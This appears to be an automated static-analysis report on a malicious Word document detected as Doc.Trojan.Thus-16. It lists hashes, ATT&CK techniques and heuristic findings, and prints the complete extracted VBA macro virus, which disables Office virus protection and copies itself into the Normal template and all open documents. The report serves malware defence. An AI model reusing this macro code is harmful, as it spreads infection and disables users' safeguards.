Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e64f9f5771865789…

MALICIOUS

Office (OLE)

32.0 KB Created: 2012-02-27 09:26:00 Authoring application: Microsoft Word 10.0 First seen: 2015-06-09
MD5: b8190886bbe61616a5df31f840e45b58 SHA-1: 6d430a290b321dbe2726eb9f4f3884c8e6bc0492 SHA-256: e64f9f57718657896e421577d23d6340d1a7f23fa33868c9e8b571586a81be3b
148 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1553.005 Quarantine

The sample contains VBA macros that are designed to disable macro security settings and replicate themselves across documents and the Normal template. This behavior is indicative of a macro-based malware that aims for persistence and evasion. The ClamAV detection 'Doc.Trojan.Thus-16' further supports the malicious classification.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
       On Error Resume Next
       Application.Options.VirusProtection = False
       If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    Private Sub Document_Open()
    'Mat1'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1902 bytes
SHA-256: 8d8ba71c3a08c7fbe87b79ab61cac4f5325348973bae677adf2be66816c3491f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Document_Open()
'Mat1'
   On Error Resume Next
   Application.Options.VirusProtection = False
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   End If
   
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines _
   1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _
   (1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
   End If
   
   If NormalTemplate.Saved = False Then NormalTemplate.Save
   
   For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines _
        1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.InsertLines _
        1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines _
        (1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    End If
   Next k
End Sub




















































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